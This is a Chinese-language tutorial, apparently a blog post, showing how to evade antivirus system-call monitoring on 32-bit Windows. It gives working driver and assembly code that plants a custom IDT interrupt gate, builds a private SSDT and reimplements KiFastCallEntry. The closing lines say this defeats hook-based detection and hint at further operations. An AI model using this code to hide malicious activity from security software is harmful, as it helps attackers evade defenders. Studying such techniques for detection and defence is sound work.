构建API调用框架绕过杀软检测

我们了解到杀毒软件通常通过两种方式监控API函数的调用：一种是在3环通过挂钩自己的函数来判断是否调用了该API，另一种是在0环通过挂钩SSDT表的路径来监控进入0环后的操作。如果我们不想让杀毒软件监控我们的行为，之前提到的内核重载是一种绕过方法，但其动静太大。在这里，我们通过直接重写从3环到0环的API调用过程，改写KiFastCallEntry来自己调用内核函数，从而达到规避杀毒软件的效果。

调用过程

我们先来看一下API函数的调用过程，以OpenProcess函数为例：

首先在kernel32.dll中找到OpenProcess函数。

接下来，它会调用NtOpenProcess。

然后导出模块，查看它调用了ntdll.dll中的NtOpenProcess。

在ntdll.dll中定位到NtOpenProcess，使用7A的调用号，通过call dword ptr [edx]即sysenter进入0环。

进入0环后，首先会通过KiFastCallEntry，这个函数的细节非常值得探究，但限于篇幅这里就不详细描述了。

我们直接去看关键的汇编语句，可以看到这里就是找到SSDT函数表的地址，通过3环传入的调用号，去SSDT表中寻址。

通过SSDT定位到NtOpenProcess函数。

思路

我们总结一下调用过程：

3环API(kernel32.dll) -> ntdll.dll -> sysenter -> KiFastCallentry -> SSDT -> 真正调用的0环API

我们可以在3环直接编写asm汇编，通过中断门的方式进入0环，因为无论是KiFastCallentry还是KiSystemService，最终都会找到SSDT表的地址再去调用内核函数。我们需要实现的几个功能如下：

• 重写3环API通过中断门进0环
• 重写KiFastCallEntry以免挂钩
• 自己创建一个SSDT表
• 编写内核函数挂到自己创建的SSDT表里面

实现

这里直接通过中断门的方式进入0环，IDT表的索引定义为0x20。

void __declspec(naked)MyTestAPI(int a, int b){
    __asm {
        mov eax, 0
        mov edx, esp
        add edx, 4
        int 0x20
        ret
    }
}

然后定义我们自己的SSDT结构：

typedef struct _SSDT{
    ULONG FunctionAddrTable;
    ULONG ArgumentSizeTable;
    ULONG Count;
}SSDT, *pSSDT;

构造中断门提权，这里需要首先了解段权限检查的知识。

段权限检查

CPU权限等级划分如下，在Windows中主要使用ring0和ring3。

如何查看程序处于几环？(CPL)

CPL(Current Privilege Level)：当前特权级，存储在CS和SS中的段选择子后2位。

在OD中拖入程序，可以看到cs段为0023，拆开即为00100011，那么CPL取最后两位即为11，说明是一个三环程序。

在windbg中下个断点查看cs的情况，可以直接使用r命令，或者点击窗口查看，这里cs=8，拆分后为1000，后两位为00，说明CPL=0，为0环程序。

DPL(Descriptor Privilege Level) 描述符特权级别

DPL存储在段描述符中，规定了访问该段所需的特权级别。通俗的理解：如果你想访问我，那么你应该具备什么特权。

举例说明：

mov DS,AX

如果AX指向的段DPL = 0，但当前程序的CPL = 3，这行指令是不会成功的，因为只有0环的程序才能访问0环的内存。

RPL(Request Privilege Level) 请求特权级别

RPL是针对段选择子而言的，每个段的选择子都有自己的RPL。

举例说明：

Mov ax,0x0008 与 Mov ax,0x000B //段选择子 Mov ds,ax Mov ds,ax

指向的是同一个段描述符，但RPL是不一样的。

数据段权限检查举例

比如当前程序处于0环，也就是说CPL=0。

Mov ax,000B //1011 RPL = 3 Mov ds,ax //ax指向的段描述符的DPL = 0

数据段的权限检查：

CPL

注意：代码段和系统段描述符中的检查方式并不一样。

总结：

• CPL CPU当前的权限级别
• DPL 如果你想访问我，你应该具备什么样的权限
• RPL 用什么权限去访问一个段

那么为什么会有RPL的存在呢？

• 因为我们本可以用“读写”的权限去打开一个文件，但为了避免出错，有些时候我们使用“只读”的权限去打开。

然后我们再回到中断门，中断门的结构如下，首先肯定要设置P位为1才有效，因为是从3环进0环提权，那么DPL就需要设置为3即11，再就是8-12位的第11位这个D，代表的是default，当系统为32位的时候置1，当系统为16位的时候置0，那么D位为1，只有当CPL=DPL的时候才能成功触发中断。

偏移这里我们暂时先不设置，那么高四字节就可以得到0000EE00。

然后我们再看段选择子，这里因为我们是在0环，这里即需要设置RPL=0，那么这里就可以得出低4位为0008。

组合起来构造得到0000EE00 00080000，存放到数组里面。

UCHAR Descriptor[8] = { 0x00, 0x00, 0x08, 0x00, 0x00, 0xee, 0x00, 0x00 };

然后通过SIDT aryIDT将构造得到的4字节通过RtlCopyMemory存放到IDT表里面，这里IDT的索引我设置的是0x20。

*(PUSHORT)Descriptor = *(PUSHORT)(&Temp_FunctionAddr); // 低2字节
*(PUSHORT)((ULONG)Descriptor + 6) = *(PUSHORT)((ULONG)&Temp_FunctionAddr + 2); // 高2字节
__asm {
    SIDT aryIDT
}
IDTAddr = *((PULONG)((ULONG)aryIDT + 2));
RtlCopyMemory((PUCHAR)(IDTAddr + 0x20 * 8), Descriptor, 8);

再生成一个新的SSDT表，首先使用ExAllocatePool申请一块内存，判断一下是否生成成功。

extern SSDT stSSDT = { 0 };
stSSDT.FunctionAddrTable = (ULONG)ExAllocatePool(NonPagedPool, 0x1000);
stSSDT.ArgumentSizeTable = (ULONG)ExAllocatePool(NonPagedPool, 0x1000);
if (stSSDT.FunctionAddrTable == 0 || stSSDT.ArgumentSizeTable == 0) {
    return NULL;
}

返回新SSDT表的地址。

RtlFillMemory((PUCHAR)stSSDT.FunctionAddrTable, 0x1000, 0);
RtlFillMemory((PUCHAR)stSSDT.ArgumentSizeTable, 0x1000, 0);
stSSDT.Count = 0;
return &stSSDT;

再编写一个函数，当有新的内核函数创建时，存放FunctionAddrTable和ArgumentSizeTable，并把Count的值加1。

ULONG AddFunctionToSSDT(pSSDT MySSDT, ULONG FunctionAddr, UCHAR ArgSize){
    ULONG Temp_Count = MySSDT->Count;
    *(PULONG)(MySSDT->FunctionAddrTable + Temp_Count * 4) = FunctionAddr;
    *(PUCHAR)(MySSDT->ArgumentSizeTable + Temp_Count) = ArgSize;
    MySSDT->Count = MySSDT->Count + 1;
    return Temp_Count;
}

再就是KiFastCallEntry函数的重写，这里需要通过IDA对堆栈结构进行分析，这里就不展开说了，直接贴代码和注释。

这里注意必须使用裸函数，否则自动生成的汇编会将eax寄存器清0。

void __declspec(naked) MyKiFastCallEntry(){
    __asm {
        push 0
        push ebp
        push ebx
        push esi
        push edi
        push fs
        push eax
        mov eax,0x30
        mov fs,ax
        pop eax
        push dword ptr ds:0x0ffdff000 // 保存异常链表
        mov dword ptr ds:0x0ffdff00,0x0ffffffff // 修改异常链表
        mov esi,ds:0x0ffdff124
        xor ecx,ecx
        mov cl,byte ptr [esi+0x140]
        push ecx // 保存先前模式
        sub esp,0x48 // 指向_Tramp_Frame的首地址
        mov ecx,1
        mov [esi+0x140],cl // 修改先前模式
        mov ebp,[esi+0x134]
        mov [esp+0x3c],ebp // 保存当前线程的Trap_Frame
        mov [esi+0x134],esp // 修改当前线程的Trap_Frame
        mov ebp,esp
        cld
        mov[esp+0xc],edx
        mov ebx,[esp+0x60]
        mov edi,[esp+0x68]
        mov [esp+0],ebx
        mov [esp+4],edi
        sti
        mov edi,MySSDT
        mov ebx,[edi+4] // 函数大小
        mov edi,[edi] // 函数地址表
        xor ecx,ecx
        mov cl,[ebx+eax]
        mov ebx,[edi+eax*4]
        sub esp,ecx
        shr ecx,2
        mov edi,esp
        mov esi,edx
        rep movsd
        call ebx
        mov esp,ebp
        mov ecx,ds:0x0ffdff124
        mov edx,[ebp+0x3c] // 还原Trap_Frame
        mov [ecx+0x134],edx
        cli
        mov edx,[esp+0x4c] // 还原异常链表
        mov fs:0,edx
        mov ecx,[esp+0x48]
        mov esi,fs:0x124
        mov [esi+0x140], cl // 还原先前模式
        lea esp,[ebp+0x50]
        pop fs
        pop edi
        pop esi
        pop ebx
        pop ebp
        add esp, 4
        iretd
    }
}

然后定义一个内核函数，调用成功则打印输出。

VOID test(int a, int b){
    DbgPrint("API运行成功\n");
}

然后进行加载驱动。

void UnLoad(PDRIVER_OBJECT DriverObject){
    ExFreePool((PUCHAR)MySSDT->ArgumentSizeTable);
    ExFreePool((PUCHAR)MySSDT->FunctionAddrTable);
    DbgPrint("Driver unload successfully");
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegisterPath){
    IncreaseInterruptToIDT((ULONG)MyKiFastCallEntry);
    MySSDT = IncreaseSSDT();
    DbgPrint("MySSDT : %x\n", MySSDT);
    AddFunctionToSSDT(MySSDT, (ULONG)test, 8);
    DriverObject->DriverUnload = UnLoad;
    return STATUS_SUCCESS;
}

实现效果

这里首先打印出新SSDT表的地址。

然后跟到86200B70这个地址去看一下，首地址为856fb000。

然后跟过去看看，是没问题的。

首先卸载驱动，看直接运行中断门使用int 0x20能否进入0环。

可以看到这里报了0xc0005的异常且异常断在了int 0x20这一行。

然后加载驱动，这里可以看到API调用成功。

然后去pchunter里面看一下原来的SSDT表，起始地址为805A5614。

结束地址为0x805CC8FE，而我们自己创建的SSDT表的地址为0x860203D0。

如果杀软在KiSystemService去往SSDT表的路径上挂钩，我们通过自己重写3环到0环调用过程的这种方法是完全检测不到的。这里我只是简单的实现了一个打印的效果，那么既然已经绕过了杀软的检测，我们当然也可以尝试一些其他的操作，在这里就不拓展了。